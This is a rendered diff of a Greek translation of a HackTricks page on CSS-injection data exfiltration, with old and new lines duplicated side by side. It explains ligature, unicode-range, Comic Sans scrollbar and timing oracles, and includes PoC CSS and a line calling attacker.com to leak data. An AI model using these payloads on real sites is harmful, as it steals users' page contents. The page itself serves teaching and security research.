Όταν αποκτάτε πρόσβαση σε αυτή τη σελίδα, το Chrome και το Firefox ανακτούν "?A" και "?B" επειδή ο κόμβος κειμένου της ευαίσθητης πληροφορίας περιέχει τους χαρακτήρες "A" και "B". Αλλά το Chrome και το Firefox δεν ανακτούν "?C" επειδή δεν περιέχει "C". Αυτό σημαίνει ότι έχουμε μπορέσει να διαβάσουμε "A" και "B".
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
|
||||
### Εξαγωγή κόμβου κειμένου (I): λυγισμοί <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Αναφορά:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
Η τεχνική που περιγράφεται περιλαμβάνει την εξαγωγή κειμένου από έναν κόμβο εκμεταλλευόμενη τους λυγισμούς γραμματοσειρών και παρακολουθώντας τις αλλαγές στο πλάτος. Η διαδικασία περιλαμβάνει αρκετά βήματα:
|
||||
Η τεχνική που περιγράφεται αφορά την εξαγωγή κειμένου από έναν κόμβο εκμεταλλευόμενη font ligatures και την παρακολούθηση αλλαγών στο πλάτος. Η διαδικασία περιλαμβάνει αρκετά βήματα:
|
||||
|
||||
1. **Δημιουργία Προσαρμοσμένων Γραμματοσειρών**:
|
||||
1. **Δημιουργία προσαρμοσμένων γραμματοσειρών**:
|
||||
|
||||
- Οι γραμματοσειρές SVG κατασκευάζονται με γλυφές που έχουν ένα χαρακτηριστικό `horiz-adv-x`, το οποίο ορίζει ένα μεγάλο πλάτος για μια γλυφή που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων.
|
||||
- Παράδειγμα γλυφής SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, όπου το "XY" δηλώνει μια ακολουθία δύο χαρακτήρων.
|
||||
- Αυτές οι γραμματοσειρές στη συνέχεια μετατρέπονται σε μορφή woff χρησιμοποιώντας το fontforge.
|
||||
- Δημιουργούνται SVG fonts με glyphs που έχουν το attribute `horiz-adv-x`, το οποίο ορίζει μεγάλο πλάτος για ένα glyph που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων.
|
||||
- Παράδειγμα SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, όπου "XY" δηλώνει μια ακολουθία δύο χαρακτήρων.
|
||||
- Αυτές οι γραμματοσειρές στη συνέχεια μετατρέπονται σε woff format χρησιμοποιώντας fontforge.
|
||||
|
||||
2. **Ανίχνευση Αλλαγών Πλάτους**:
|
||||
2. **Ανίχνευση αλλαγών στο πλάτος**:
|
||||
|
||||
- Χρησιμοποιείται CSS για να διασφαλιστεί ότι το κείμενο δεν τυλίγεται (`white-space: nowrap`) και για να προσαρμοστεί το στυλ της γραμμής κύλισης.
|
||||
- Η εμφάνιση μιας οριζόντιας γραμμής κύλισης, που έχει στυλ διαφορετικό, λειτουργεί ως δείκτης (oracle) ότι μια συγκεκριμένη λυγισμός, και επομένως μια συγκεκριμένη ακολουθία χαρακτήρων, είναι παρούσα στο κείμενο.
|
||||
- Το CSS που εμπλέκεται:
|
||||
- Το CSS χρησιμοποιείται ώστε το κείμενο να μην τυλίγεται (`white-space: nowrap`) και για την προσαρμογή του στυλ του scrollbar.
|
||||
- Η εμφάνιση ενός οριζόντιου scrollbar, στιλιζαρισμένου με διακριτό τρόπο, λειτουργεί ως δείκτης (oracle) ότι ένα συγκεκριμένο ligature, και κατά συνέπεια μια συγκεκριμένη ακολουθία χαρακτήρων, είναι παρούσα στο κείμενο.
|
||||
- Το σχετικό CSS:
|
||||
```css
|
||||
body {
|
||||
white-space: nowrap;
|
||||
@ -237,30 +273,30 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **Διαδικασία Εκμετάλλευσης**:
|
||||
3. **Διαδικασία exploit**:
|
||||
|
||||
- **Βήμα 1**: Δημιουργούνται γραμματοσειρές για ζεύγη χαρακτήρων με σημαντικό πλάτος.
|
||||
- **Βήμα 2**: Χρησιμοποιείται ένα κόλπο βασισμένο στη γραμμή κύλισης για να ανιχνευθεί πότε η μεγάλη γλυφή πλάτους (λυγισμός για ένα ζεύγος χαρακτήρων) αποδίδεται, υποδεικνύοντας την παρουσία της ακολουθίας χαρακτήρων.
|
||||
- **Βήμα 3**: Με την ανίχνευση ενός λυγισμού, δημιουργούνται νέες γλυφές που αντιπροσωπεύουν ακολουθίες τριών χαρακτήρων, ενσωματώνοντας το ανιχνευθέν ζεύγος και προσθέτοντας έναν προηγούμενο ή επόμενο χαρακτήρα.
|
||||
- **Βήμα 4**: Η ανίχνευση του λυγισμού τριών χαρακτήρων πραγματοποιείται.
|
||||
- **Βήμα 5**: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας σταδιακά ολόκληρο το κείμενο.
|
||||
- **Step 1**: Δημιουργούνται fonts για ζευγάρια χαρακτήρων με μεγάλο πλάτος.
|
||||
- **Step 2**: Χρησιμοποιείται ένα τεχνικό κόλπο με το scrollbar για να ανιχνευθεί πότε το glyph με το μεγάλο πλάτος (ligature για ένα ζευγάρι χαρακτήρων) αποδίδεται, υποδεικνύοντας την παρουσία της ακολουθίας χαρακτήρων.
|
||||
- **Step 3**: Μετά τον εντοπισμό ενός ligature, δημιουργούνται καινούργια glyphs που αντιπροσωπεύουν ακολουθίες τριών χαρακτήρων, ενσωματώνοντας το εντοπισμένο ζευγάρι και προσθέτοντας έναν προηγούμενο ή επόμενο χαρακτήρα.
|
||||
- **Step 4**: Γίνεται ανίχνευση του ligature για την τριχαρακτη ακολουθία.
|
||||
- **Step 5**: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας σταδιακά ολόκληρο το κείμενο.
|
||||
|
||||
4. **Βελτιστοποίηση**:
|
||||
- Η τρέχουσα μέθοδος αρχικοποίησης που χρησιμοποιεί `<meta refresh=...` δεν είναι βέλτιστη.
|
||||
- Μια πιο αποδοτική προσέγγιση θα μπορούσε να περιλαμβάνει το κόλπο CSS `@import`, βελτιώνοντας την απόδοση της εκμετάλλευσης.
|
||||
- Η τρέχουσα μέθοδος αρχικοποίησης με `<meta refresh=...` δεν είναι ιδανική.
|
||||
- Μια πιο αποδοτική προσέγγιση θα μπορούσε να χρησιμοποιήσει το κόλπο `@import` στο CSS, βελτιώνοντας την απόδοση του exploit.
|
||||
|
||||
### Εξαγωγή κόμβου κειμένου (II): διαρροή του charset με μια προεπιλεγμένη γραμματοσειρά (χωρίς εξωτερικά στοιχεία) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Αναφορά:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Αυτό το κόλπο κυκλοφόρησε σε αυτό το [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Το charset που χρησιμοποιείται σε έναν κόμβο κειμένου μπορεί να διαρρεύσει **χρησιμοποιώντας τις προεπιλεγμένες γραμματοσειρές** που είναι εγκατεστημένες στον περιηγητή: δεν απαιτούνται εξωτερικές -ή προσαρμοσμένες- γραμματοσειρές.
|
||||
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.
|
||||
|
||||
Η έννοια περιστρέφεται γύρω από τη χρήση μιας κινούμενης εικόνας για να επεκτείνει σταδιακά το πλάτος ενός `div`, επιτρέποντας σε έναν χαρακτήρα τη φορά να μεταβεί από το 'suffix' μέρος του κειμένου στο 'prefix' μέρος. Αυτή η διαδικασία χωρίζει αποτελεσματικά το κείμενο σε δύο τμήματα:
|
||||
Η ιδέα στηρίζεται στη χρήση μιας animation που επεκτείνει σταδιακά το πλάτος ενός `div`, επιτρέποντας έναν χαρακτήρα τη φορά να μετατοπίζεται από το 'suffix' μέρος του κειμένου στο 'prefix' μέρος. Αυτή η διαδικασία χωρίζει ουσιαστικά το κείμενο σε δύο τμήματα:
|
||||
|
||||
1. **Prefix**: Η αρχική γραμμή.
|
||||
2. **Suffix**: Οι επόμενες γραμμές.
|
||||
1. Prefix: The initial line.
|
||||
2. Suffix: The subsequent line(s).
|
||||
|
||||
Οι μεταβατικές φάσεις των χαρακτήρων θα εμφανίζονται ως εξής:
|
||||
Τα στάδια μετάβασης των χαρακτήρων θα εμφανίζονταν ως εξής:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
@ -273,15 +309,15 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
Κατά τη διάρκεια αυτής της μετάβασης, χρησιμοποιείται το **unicode-range trick** για να εντοπιστεί κάθε νέος χαρακτήρας καθώς προστίθεται στο prefix. Αυτό επιτυγχάνεται αλλάζοντας τη γραμματοσειρά σε Comic Sans, η οποία είναι σημαντικά ψηλότερη από τη προεπιλεγμένη γραμματοσειρά, προκαλώντας έτσι την εμφάνιση μιας κατακόρυφης γραμμής κύλισης. Η εμφάνιση αυτής της γραμμής κύλισης αποκαλύπτει έμμεσα την παρουσία ενός νέου χαρακτήρα στο prefix.
|
||||
Κατά τη διάρκεια αυτής της μετάβασης, το **unicode-range trick** χρησιμοποιείται για να εντοπιστεί κάθε νέος χαρακτήρας καθώς ενώνεται με το prefix. Αυτό επιτυγχάνεται αλλάζοντας τη γραμματοσειρά σε Comic Sans, η οποία είναι σημαντικά ψηλότερη από την προεπιλεγμένη γραμματοσειρά, με αποτέλεσμα να ενεργοποιείται ένας κατακόρυφος scrollbar. Η εμφάνιση αυτού του scrollbar αποκαλύπτει έμμεσα την παρουσία ενός νέου χαρακτήρα στο prefix.
|
||||
|
||||
Αν και αυτή η μέθοδος επιτρέπει την ανίχνευση μοναδικών χαρακτήρων καθώς εμφανίζονται, δεν προσδιορίζει ποιος χαρακτήρας επαναλαμβάνεται, μόνο ότι έχει συμβεί μια επανάληψη.
|
||||
Αν και αυτή η μέθοδος επιτρέπει τον εντοπισμό μοναδικών χαρακτήρων καθώς εμφανίζονται, δεν προσδιορίζει ποιος χαρακτήρας επαναλαμβάνεται — μόνο ότι έχει συμβεί επανάληψη.
|
||||
|
||||
> [!NOTE]
|
||||
> Βασικά, το **unicode-range χρησιμοποιείται για να ανιχνεύσει έναν χαρακτήρα**, αλλά καθώς δεν θέλουμε να φορτώσουμε μια εξωτερική γραμματοσειρά, πρέπει να βρούμε έναν άλλο τρόπο.\
|
||||
> Όταν ο **χαρακτήρας** είναι **βρεθεί**, του **δίδεται** η προεγκατεστημένη **γραμματοσειρά Comic Sans**, η οποία **μεγαλώνει** τον χαρακτήρα και **προκαλεί μια γραμμή κύλισης** που θα **διαρρεύσει τον βρεθέντα χαρακτήρα**.
|
||||
> [!TIP]
|
||||
> Βασικά, το **unicode-range is used to detect a char**, αλλά καθώς δεν θέλουμε να φορτώσουμε μια εξωτερική γραμματοσειρά, πρέπει να βρούμε έναν άλλο τρόπο.\
|
||||
> Όταν ο **char** βρεθεί, του δίνεται η προεγκατεστημένη **Comic Sans font**, που **κάνει** τον char **μεγαλύτερο** και **προκαλεί ένα scroll bar** το οποίο θα **leak the found char**.
|
||||
|
||||
Ελέγξτε τον κώδικα που εξήχθη από το PoC:
|
||||
Check the code extracted from the PoC:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face {
|
||||
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset με προεπιλεγμένη γραμματοσειρά κρύβοντας στοιχεία (χωρίς να απαιτούνται εξωτερικά assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** Αυτό αναφέρεται ως [μια αποτυχημένη λύση σε αυτό το writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο, σε αυτή την περίπτωση ο στόχος του να κάνουμε συγκεκριμένα **chars μεγαλύτερα από άλλα είναι να κρύψουμε κάτι** όπως ένα κουμπί ώστε να μην πατηθεί από το bot ή μια εικόνα που δεν θα φορτωθεί. Έτσι θα μπορούσαμε να μετρήσουμε την ενέργεια (ή την έλλειψη ενέργειας) και να ξέρουμε αν ένα συγκεκριμένο char είναι παρόν μέσα στο κείμενο.
|
||||
Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο εδώ ο στόχος του να κάνουν συγκεκριμένους **χαρακτήρες μεγαλύτερους από άλλους για να κρύψουν κάτι** όπως ένα κουμπί ώστε το bot να μην το πατήσει ή μια εικόνα που δεν θα φορτωθεί. Έτσι μπορούμε να μετρήσουμε τη δράση (ή την έλλειψη της δράσης) και να ξέρουμε αν ένας συγκεκριμένος χαρακτήρας υπάρχει μέσα στο κείμενο.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** Αυτό αναφέρεται ως [μια αποτυχημένη λύση σε αυτό το writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Σε αυτή την περίπτωση, θα μπορούσαμε να προσπαθήσουμε να διαρρεύσουμε αν ένα char είναι στο κείμενο φορτώνοντας μια ψεύτικη γραμματοσειρά από την ίδια προέλευση:
|
||||
Σε αυτήν την περίπτωση, μπορούμε να προσπαθήσουμε να leak αν ένας χαρακτήρας υπάρχει στο κείμενο φορτώνοντας μια fake font από την ίδια origin:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Αν υπάρχει αντιστοιχία, η **γραμματοσειρά θα φορτωθεί από το `/static/bootstrap.min.css?q=1`**. Αν και δεν θα φορτωθεί επιτυχώς, ο **περιηγητής θα πρέπει να την αποθηκεύσει στην κρυφή μνήμη**, και ακόμη και αν δεν υπάρχει κρυφή μνήμη, υπάρχει ένας μηχανισμός **304 not modified**, οπότε η **απάντηση θα πρέπει να είναι ταχύτερη** από άλλα πράγματα.
|
||||
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
|
||||
|
||||
Ωστόσο, αν η διαφορά χρόνου της αποθηκευμένης απάντησης από την μη αποθηκευμένη δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: Ωστόσο, μετά από δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν διαφέρει πολύ, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί τη σημαία `disk-cache-size=1`, που είναι πραγματικά προσεγμένο.
|
||||
Ωστόσο, αν η διαφορά χρόνου ανάμεσα στην cached απάντηση και στη μη-cached δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: «Όμως, μετά από δοκιμές, βρήκα ότι το πρώτο πρόβλημα είναι πως η ταχύτητα δεν διαφέρει πολύ, και το δεύτερο είναι ότι το bot χρησιμοποιεί τη σημαία `disk-cache-size=1`, κάτι που είναι πραγματικά προσεκτικό.»
|
||||
|
||||
### Εξαγωγή κόμβου κειμένου (III): διαρροή του charset με χρονισμό φόρτωσης εκατοντάδων τοπικών "γραμμάτων" (χωρίς να απαιτούν εξωτερικά στοιχεία) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Αναφορά:** Αυτό αναφέρεται ως [μια αποτυχημένη λύση σε αυτή τη γραφή](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Σε αυτή την περίπτωση μπορείτε να υποδείξετε **CSS για να φορτώσετε εκατοντάδες ψεύτικες γραμματοσειρές** από την ίδια προέλευση όταν συμβαίνει μια αντιστοιχία. Με αυτόν τον τρόπο μπορείτε να **μετρήσετε τον χρόνο** που απαιτείται και να ανακαλύψετε αν εμφανίζεται ή όχι ένα χαρακτήρας με κάτι σαν:
|
||||
Σε αυτή την περίπτωση μπορείτε να ορίσετε **CSS που φορτώνει εκατοντάδες ψεύτικες γραμματοσειρές** από την ίδια προέλευση όταν συμβεί ένα match. Με αυτόν τον τρόπο μπορείτε να **μετρήσετε τον χρόνο** που χρειάζεται και να διαπιστώσετε αν ένας χαρακτήρας εμφανίζεται ή όχι με κάτι σαν:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -747,13 +783,19 @@ browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Έτσι, αν η γραμματοσειρά δεν ταιριάζει, ο χρόνος απόκρισης κατά την επίσκεψη στο bot αναμένεται να είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταίριασμα γραμματοσειράς, θα σταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη διακοπής και να ληφθεί η απόκριση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως δείκτης για να προσδιοριστεί αν υπάρχει ταίριασμα γραμματοσειράς.
|
||||
Έτσι, εάν η γραμματοσειρά δεν ταιριάζει, ο χρόνος απόκρισης κατά την επίσκεψη στον bot αναμένεται να είναι περίπου 30 δευτερόλεπτα. Ωστόσο, εάν υπάρχει ταύτιση γραμματοσειράς, θα σταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερο χρόνος για να ικανοποιηθεί η συνθήκη τερματισμού και να ληφθεί η απάντηση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως δείκτης για να προσδιοριστεί εάν υπάρχει ταύτιση γραμματοσειράς.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
|
||||
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
|
||||
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
|
||||
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
|
||||
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
|
||||
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user